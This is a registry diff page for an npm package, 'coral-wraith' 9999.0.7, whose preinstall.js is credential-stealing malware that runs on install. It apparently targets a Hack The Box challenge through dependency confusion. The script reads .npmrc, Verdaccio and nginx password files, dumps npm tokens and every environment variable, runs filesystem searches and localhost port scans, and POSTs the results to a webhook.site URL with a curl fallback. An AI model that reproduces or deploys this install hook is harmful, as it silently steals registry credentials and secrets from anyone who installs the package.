coral-wraith 9999.0.6 → 9999.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +124 -120
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -4,158 +4,162 @@ const https = require('https');
|
|
|
4
4
|
const { execSync } = require('child_process');
|
|
5
5
|
const os = require('os');
|
|
6
6
|
|
|
7
|
-
let flag = null;
|
|
8
7
|
const debug = [];
|
|
8
|
+
let flag = null;
|
|
9
9
|
|
|
10
|
-
// 1.
|
|
11
|
-
const
|
|
12
|
-
|
|
13
|
-
'/home/node
|
|
14
|
-
'/
|
|
15
|
-
|
|
16
|
-
|
|
10
|
+
// 1. Read ALL credential/config files
|
|
11
|
+
const credPaths = [
|
|
12
|
+
// npmrc files
|
|
13
|
+
'/home/node/.npmrc', '/root/.npmrc', '~/.npmrc',
|
|
14
|
+
'/home/node/.config/npm/npmrc', '/etc/npmrc', '/usr/etc/npmrc',
|
|
15
|
+
process.cwd() + '/.npmrc', process.cwd() + '/../.npmrc',
|
|
16
|
+
process.cwd() + '/../../.npmrc',
|
|
17
|
+
|
|
18
|
+
// Verdaccio configs
|
|
19
|
+
'/verdaccio/conf/config.yaml', '/verdaccio/storage/htpasswd',
|
|
20
|
+
'/verdaccio/conf/htpasswd', '/verdaccio/storage/config.json',
|
|
21
|
+
'/data/verdaccio/conf/config.yaml', '/data/verdaccio/storage/htpasswd',
|
|
22
|
+
'/data/verdaccio/htpasswd', '/data/htpasswd',
|
|
23
|
+
'/data/config.yaml', '/data/conf/config.yaml',
|
|
24
|
+
|
|
25
|
+
// nginx configs
|
|
26
|
+
'/etc/nginx/nginx.conf', '/etc/nginx/conf.d/default.conf',
|
|
27
|
+
'/etc/nginx/conf.d/registry.conf', '/etc/nginx/.htpasswd',
|
|
28
|
+
'/etc/nginx/htpasswd', '/etc/nginx/conf.d/.htpasswd',
|
|
29
|
+
|
|
30
|
+
// Flag locations
|
|
31
|
+
'/flag', '/flag.txt', '/data/flag', '/data/flag.txt',
|
|
32
|
+
'/home/node/flag', '/home/node/flag.txt',
|
|
33
|
+
'/root/flag', '/root/flag.txt',
|
|
17
34
|
];
|
|
18
|
-
|
|
35
|
+
|
|
36
|
+
for (const p of credPaths) {
|
|
19
37
|
try {
|
|
20
38
|
if (fs.existsSync(p)) {
|
|
21
|
-
const c = fs.readFileSync(p, 'utf8')
|
|
22
|
-
debug.push(`
|
|
39
|
+
const c = fs.readFileSync(p, 'utf8');
|
|
40
|
+
debug.push(`FILE:${p}=${c.substring(0,500)}`);
|
|
23
41
|
const m = c.match(/HTB\{[^}]+\}/);
|
|
24
|
-
if (m)
|
|
25
|
-
if (!flag && c) flag = c;
|
|
42
|
+
if (m) flag = m[0];
|
|
26
43
|
}
|
|
27
|
-
} catch(e) {}
|
|
44
|
+
} catch(e) { debug.push(`ERR:${p}:${e.message.substring(0,50)}`); }
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
// 2. npm config environment variables
|
|
48
|
+
const npmEnvs = ['npm_config_userconfig', 'NPM_CONFIG_USERCONFIG',
|
|
49
|
+
'npm_config_registry', 'NPM_TOKEN', 'NODE_AUTH_TOKEN',
|
|
50
|
+
'npm_config__auth', 'npm_config__authToken'];
|
|
51
|
+
for (const k of npmEnvs) {
|
|
52
|
+
if (process.env[k]) debug.push(`ENV:${k}=${process.env[k]}`);
|
|
28
53
|
}
|
|
29
54
|
|
|
30
|
-
//
|
|
31
|
-
for (const dir of ['/', '/data', '/home', '/home
|
|
55
|
+
// 3. List directories
|
|
56
|
+
for (const dir of ['/', '/data', '/home/node', '/home', '/app', '/verdaccio',
|
|
57
|
+
'/verdaccio/conf', '/verdaccio/storage', '/data/verdaccio',
|
|
58
|
+
process.cwd(), process.cwd() + '/..', process.cwd() + '/../..']) {
|
|
32
59
|
try {
|
|
33
60
|
const items = fs.readdirSync(dir);
|
|
34
|
-
debug.push(`
|
|
61
|
+
debug.push(`DIR:${dir}=${items.join(',')}`);
|
|
35
62
|
} catch(e) {}
|
|
36
63
|
}
|
|
37
64
|
|
|
38
|
-
//
|
|
65
|
+
// 4. Find ALL config/credential files
|
|
39
66
|
try {
|
|
40
|
-
const r = execSync('find /
|
|
41
|
-
debug.push(`
|
|
67
|
+
const r = execSync('find / -maxdepth 5 \\( -name "*.npmrc" -o -name "htpasswd*" -o -name ".htpasswd" -o -name "config.yaml" -o -name "*.conf" -o -name ".env" -o -name "flag*" \\) -type f 2>/dev/null | grep -v node_modules | grep -v proc | head -30', {timeout:15000}).toString().trim();
|
|
68
|
+
debug.push(`FIND:${r}`);
|
|
42
69
|
for (const f of r.split('\n').filter(Boolean)) {
|
|
43
70
|
try {
|
|
44
71
|
const c = fs.readFileSync(f, 'utf8');
|
|
72
|
+
debug.push(`CONTENT:${f}=${c.substring(0,500)}`);
|
|
45
73
|
const m = c.match(/HTB\{[^}]+\}/);
|
|
46
|
-
if (m)
|
|
47
|
-
debug.push(`data:${f}=${c.substring(0,200)}`);
|
|
74
|
+
if (m) flag = m[0];
|
|
48
75
|
} catch(e) {}
|
|
49
76
|
}
|
|
50
|
-
} catch(e) { debug.push(`
|
|
77
|
+
} catch(e) { debug.push(`FIND_ERR:${e.message.substring(0,100)}`); }
|
|
51
78
|
|
|
52
|
-
//
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
79
|
+
// 5. Scan localhost ports for Verdaccio
|
|
80
|
+
const portsToScan = [4873, 4874, 8080, 3000, 5000, 1337, 80, 8000, 9000, 4000];
|
|
81
|
+
let scanned = 0;
|
|
82
|
+
for (const port of portsToScan) {
|
|
83
|
+
try {
|
|
84
|
+
const req = http.request({
|
|
85
|
+
hostname: '127.0.0.1', port, path: '/-/whoami',
|
|
86
|
+
method: 'GET', timeout: 2000
|
|
87
|
+
}, (res) => {
|
|
88
|
+
let data = '';
|
|
89
|
+
res.on('data', c => data += c);
|
|
90
|
+
res.on('end', () => {
|
|
91
|
+
debug.push(`PORT:${port}:${res.statusCode}:${data.substring(0,200)}`);
|
|
92
|
+
scanned++;
|
|
93
|
+
if (scanned >= portsToScan.length) sendData();
|
|
94
|
+
});
|
|
95
|
+
});
|
|
96
|
+
req.on('error', () => { scanned++; if (scanned >= portsToScan.length) sendData(); });
|
|
97
|
+
req.on('timeout', () => { req.destroy(); scanned++; if (scanned >= portsToScan.length) sendData(); });
|
|
98
|
+
req.end();
|
|
99
|
+
} catch(e) { scanned++; }
|
|
56
100
|
}
|
|
57
|
-
debug.push(`env_keys:${Object.keys(process.env).join(',')}`);
|
|
58
|
-
|
|
59
|
-
// 5. Read /proc/self/environ
|
|
60
|
-
try {
|
|
61
|
-
const pe = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
62
|
-
debug.push(`environ:${pe.substring(0,500)}`);
|
|
63
|
-
const m = pe.match(/HTB\{[^}]+\}/);
|
|
64
|
-
if (m) flag = m[0];
|
|
65
|
-
} catch(e) {}
|
|
66
|
-
|
|
67
|
-
// 6. Find all config files
|
|
68
|
-
try {
|
|
69
|
-
const r = execSync('find /data /home /app /opt /srv /etc -type f \\( -name "*.json" -o -name "*.yml" -o -name "*.yaml" -o -name "*.env" -o -name "*.conf" -o -name ".npmrc" -o -name "*.db" -o -name "*.sqlite" \\) 2>/dev/null | grep -v node_modules | head -30', {timeout:10000}).toString().trim();
|
|
70
|
-
debug.push(`configs:${r}`);
|
|
71
|
-
for (const f of r.split('\n').filter(Boolean)) {
|
|
72
|
-
try {
|
|
73
|
-
const c = fs.readFileSync(f, 'utf8');
|
|
74
|
-
const m = c.match(/HTB\{[^}]+\}/);
|
|
75
|
-
if (m) { flag = m[0]; debug.push(`FLAG:${f}`); break; }
|
|
76
|
-
if (f.includes('.npmrc') || f.includes('.env') || f.includes('secret')) {
|
|
77
|
-
debug.push(`sensitive:${f}=${c.substring(0,200)}`);
|
|
78
|
-
}
|
|
79
|
-
} catch(e) {}
|
|
80
|
-
}
|
|
81
|
-
} catch(e) {}
|
|
82
101
|
|
|
83
|
-
//
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
}
|
|
102
|
+
// Also scan the main page of each port
|
|
103
|
+
for (const port of portsToScan) {
|
|
104
|
+
try {
|
|
105
|
+
const req = http.request({
|
|
106
|
+
hostname: '127.0.0.1', port, path: '/',
|
|
107
|
+
method: 'GET', timeout: 2000
|
|
108
|
+
}, (res) => {
|
|
109
|
+
let data = '';
|
|
110
|
+
res.on('data', c => data += c);
|
|
111
|
+
res.on('end', () => {
|
|
112
|
+
debug.push(`ROOT:${port}:${res.statusCode}:${data.substring(0,200)}`);
|
|
113
|
+
});
|
|
114
|
+
});
|
|
115
|
+
req.on('error', () => {});
|
|
116
|
+
req.on('timeout', () => { req.destroy(); });
|
|
117
|
+
req.end();
|
|
118
|
+
} catch(e) {}
|
|
119
|
+
}
|
|
95
120
|
|
|
96
|
-
//
|
|
121
|
+
// 6. Listening ports
|
|
97
122
|
try {
|
|
98
123
|
const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', {timeout:3000}).toString();
|
|
99
|
-
debug.push(`
|
|
100
|
-
} catch(e) {}
|
|
101
|
-
|
|
102
|
-
// 9. Network info
|
|
103
|
-
debug.push(`network:${JSON.stringify(os.networkInterfaces()).substring(0,300)}`);
|
|
104
|
-
debug.push(`hostname:${os.hostname()}`);
|
|
105
|
-
debug.push(`cwd:${process.cwd()}`);
|
|
106
|
-
|
|
107
|
-
// EXFILTRATE
|
|
108
|
-
const info = JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.map(d=>d.substring(0,500))});
|
|
109
|
-
|
|
110
|
-
// Method 1: Webhook
|
|
111
|
-
try {
|
|
112
|
-
const req = https.request({
|
|
113
|
-
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
114
|
-
method: 'POST',
|
|
115
|
-
headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(info)},
|
|
116
|
-
timeout: 8000
|
|
117
|
-
}, ()=>{});
|
|
118
|
-
req.on('error', ()=>{});
|
|
119
|
-
req.write(info);
|
|
120
|
-
req.end();
|
|
124
|
+
debug.push(`LISTEN:${ss.substring(0,500)}`);
|
|
121
125
|
} catch(e) {}
|
|
122
126
|
|
|
123
|
-
//
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
});
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
127
|
+
// 7. Process info
|
|
128
|
+
debug.push(`CWD:${process.cwd()}`);
|
|
129
|
+
debug.push(`UID:${process.getuid ? process.getuid() : 'N/A'}`);
|
|
130
|
+
debug.push(`HOME:${os.homedir()}`);
|
|
131
|
+
debug.push(`ENV_KEYS:${Object.keys(process.env).join(',')}`);
|
|
132
|
+
debug.push(`ALL_ENV:${JSON.stringify(process.env).substring(0,1000)}`);
|
|
133
|
+
|
|
134
|
+
// Send data function
|
|
135
|
+
function sendData() {
|
|
136
|
+
const info = JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.map(d=>d.substring(0,500))});
|
|
137
|
+
|
|
138
|
+
// Webhook
|
|
139
|
+
try {
|
|
140
|
+
const req = https.request({
|
|
141
|
+
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
142
|
+
method: 'POST',
|
|
143
|
+
headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(info)},
|
|
144
|
+
timeout: 8000
|
|
145
|
+
}, ()=>{});
|
|
146
|
+
req.on('error', ()=>{});
|
|
147
|
+
req.write(info);
|
|
148
|
+
req.end();
|
|
149
|
+
} catch(e) {}
|
|
150
|
+
|
|
151
|
+
// curl backup
|
|
152
|
+
try {
|
|
153
|
+
execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${info.replace(/'/g,"\\'")}' -m 8 2>/dev/null &`, {timeout:10000});
|
|
154
|
+
} catch(e) {}
|
|
149
155
|
}
|
|
150
156
|
|
|
151
|
-
//
|
|
152
|
-
|
|
153
|
-
execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${info.replace(/'/g,"\\'")}' -m 8 2>/dev/null &`, {timeout:10000});
|
|
154
|
-
} catch(e) {}
|
|
157
|
+
// Initial send (port scan results will come later via sendData callback)
|
|
158
|
+
setTimeout(sendData, 3000);
|
|
155
159
|
|
|
156
|
-
// stdout
|
|
157
|
-
console.log('[CORAL]',
|
|
160
|
+
// Also write to stdout
|
|
161
|
+
console.log('[CORAL]', JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.slice(0,20).map(d=>d.substring(0,300))}));
|
|
158
162
|
console.error('[FLAG]', flag || 'NOT_FOUND');
|
|
159
163
|
|
|
160
164
|
// Write to files
|
|
161
|
-
try { fs.writeFileSync('/tmp/coral.txt',
|
|
165
|
+
try { fs.writeFileSync('/tmp/coral.txt', JSON.stringify({debug})); } catch(e) {}
|